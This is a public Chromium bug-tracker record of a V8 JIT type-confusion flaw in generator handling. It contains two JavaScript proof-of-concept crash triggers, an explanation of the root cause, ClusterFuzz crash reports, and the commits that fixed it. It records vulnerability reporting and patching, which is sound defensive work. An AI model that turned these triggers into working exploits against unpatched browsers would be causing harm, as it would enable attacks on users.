Security: V8: JIT: Type confusion in GetSpecializationContext |
||||||||||||||||||||
Issue description
PoC:
function* opt(arg = () => arg) {
let tmp = opt.x; // LdaNamedProperty
for (;;) {
arg;
yield;
function inner() {
tmp;
}
break;
}
}
for (let i = 0; i < 100000; i++) {
opt();
}
PoC for release build:
function* opt(arg = () => {
arg;
this;
}, opt) {
let tmp = arg.x;
for (;;) {
arg;
yield;
tmp = {
inner() {
tmp;
}
};
}
}
for (let i = 0; i < 10000; i++) {
opt();
}
What happened:
1. The LdaNamedProperty operation "opt.x" was lowered to a graph exit in the graph builder. This set the current environment to nullptr (BytecodeGraphBuilder::ApplyEarlyReduction).
2. The environment for the next block (for-loop) was supposed to be created from merging with the previous environment, but it had been set to nullptr at 1. So the context value remained as "undefined".
3. But GetSpecializationContext directly casted the context value to Context* which resulted in type confusion.
This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.
,
Dec 14 2017
,
Dec 14 2017
Detailed report: https://clusterfuzz.com/testcase?key=6015023028895744 Job Type: linux_asan_chrome_mp Crash Type: Null-dereference READ Crash Address: 0x000000000000 Crash State: v8::internal::compiler::JSGraph::Constant v8::internal::compiler::JSContextSpecialization::ReduceJSLoadContext v8::internal::compiler::GraphReducer::Reduce Sanitizer: address (ASAN) Regressed: https://clusterfuzz.com/revisions?job=linux_asan_chrome_mp&range=499408:499653 Reproducer Testcase: https://clusterfuzz.com/download?testcase_id=6015023028895744 See https://github.com/google/clusterfuzz-tools for more information.
,
Dec 14 2017
Automatically applying components based on crash stacktrace and information from OWNERS files. If this is incorrect, please apply the Test-Predator-Wrong-Components label.
,
Dec 14 2017
,
Dec 14 2017
Georg, could you take a look, please? It seems generators do not like loops to be entered with dead environments.
,
Dec 14 2017
,
Dec 14 2017
Thanks for the report.
,
Dec 15 2017
The following revision refers to this bug: https://chromium.googlesource.com/v8/v8.git/+/649ab060c05bc40db696c74ca9ac95093ef9b433 commit 649ab060c05bc40db696c74ca9ac95093ef9b433 Author: Georg Neis <neis@chromium.org> Date: Fri Dec 15 13:47:14 2017 [compiler] Don't assume a HeapConstant context input is a Context. In a generator containing loops, there are always certain control flow paths that are impossible, due to the way we represent generators at the bytecode level. Unfortunately, the graph builder can't tell that these paths are impossible. In combination with dead code, it can then happen that we build a subgraph (for unreachable code) whose incoming context is the undefined oddball. JSContextSpecialization did not expect that. Bug: chromium:794822 Change-Id: I259be5ae6c5f5adc8fca19c64bf71285ee922b7a Reviewed-on: https://chromium-review.googlesource.com/828954 Reviewed-by: Benedikt Meurer <bmeurer@chromium.org> Commit-Queue: Georg Neis <neis@chromium.org> Cr-Commit-Position: refs/heads/master@{#50129} [modify] https://crrev.com/649ab060c05bc40db696c74ca9ac95093ef9b433/src/compiler/js-context-specialization.cc [add] https://crrev.com/649ab060c05bc40db696c74ca9ac95093ef9b433/test/mjsunit/regress/regress-794822.js
,
Dec 16 2017
ClusterFuzz has detected this issue as fixed in range 524435:524437. Detailed report: https://clusterfuzz.com/testcase?key=6015023028895744 Job Type: linux_asan_chrome_mp Crash Type: Null-dereference READ Crash Address: 0x000000000000 Crash State: v8::internal::compiler::JSGraph::Constant v8::internal::compiler::JSContextSpecialization::ReduceJSLoadContext v8::internal::compiler::GraphReducer::Reduce Sanitizer: address (ASAN) Regressed: https://clusterfuzz.com/revisions?job=linux_asan_chrome_mp&range=499408:499653 Fixed: https://clusterfuzz.com/revisions?job=linux_asan_chrome_mp&range=524435:524437 Reproducer Testcase: https://clusterfuzz.com/download?testcase_id=6015023028895744 See https://github.com/google/clusterfuzz-tools for more information. If you suspect that the result above is incorrect, try re-doing that job on the test case report page.
,
Dec 16 2017
ClusterFuzz testcase 6015023028895744 is verified as fixed, so closing issue as verified. If this is incorrect, please add ClusterFuzz-Wrong label and re-open the issue.
,
Dec 16 2017
,
Dec 18 2017
,
Dec 18 2017
,
Dec 18 2017
This bug requires manual review: M64 has already been promoted to the beta branch, so this requires manual review Please contact the milestone owner if you have questions. Owners: cmasso@(Android), cmasso@(iOS), kbleicher@(ChromeOS), abdulsyed@(Desktop) For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
,
Dec 18 2017
+awhalley/hablich@
,
Dec 18 2017
abdulsyed@ - looks good to merge to me.
,
Dec 18 2017
Approving merge to M64. Branch:3282
,
Dec 19 2017
The following revision refers to this bug: https://chromium.googlesource.com/v8/v8.git/+/0d2f40d1eacbf80dca44bbcf7634eeced39ff6e4 commit 0d2f40d1eacbf80dca44bbcf7634eeced39ff6e4 Author: Georg Neis <neis@chromium.org> Date: Tue Dec 19 11:44:27 2017 Merged: [compiler] Don't assume a HeapConstant context input is a Context. Revision: 649ab060c05bc40db696c74ca9ac95093ef9b433 BUG= chromium:794822 LOG=N NOTRY=true NOPRESUBMIT=true NOTREECHECKS=true R=sigurds@chromium.org Change-Id: I201d016de010d364581a627851d4ffe6ef774afb Reviewed-on: https://chromium-review.googlesource.com/832479 Commit-Queue: Georg Neis <neis@chromium.org> Reviewed-by: Benedikt Meurer <bmeurer@chromium.org> Cr-Commit-Position: refs/branch-heads/6.4@{#18} Cr-Branched-From: 0407506af3d9d7e2718be1d8759296165b218fcf-refs/heads/6.4.388@{#1} Cr-Branched-From: a5fc4e085ee543cb608eb11034bc8f147ba388e1-refs/heads/master@{#49724} [modify] https://crrev.com/0d2f40d1eacbf80dca44bbcf7634eeced39ff6e4/src/compiler/js-context-specialization.cc [add] https://crrev.com/0d2f40d1eacbf80dca44bbcf7634eeced39ff6e4/test/mjsunit/regress/regress-794822.js
,
Dec 19 2017
,
Jan 22 2018
,
Mar 24 2018
This bug has been closed for more than 14 weeks. Removing security view restrictions. For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
,
Mar 27 2018
|
||||||||||||||||||||
►
Sign in to add a comment |
||||||||||||||||||||
Comment 1 by ClusterFuzz
, Dec 14 2017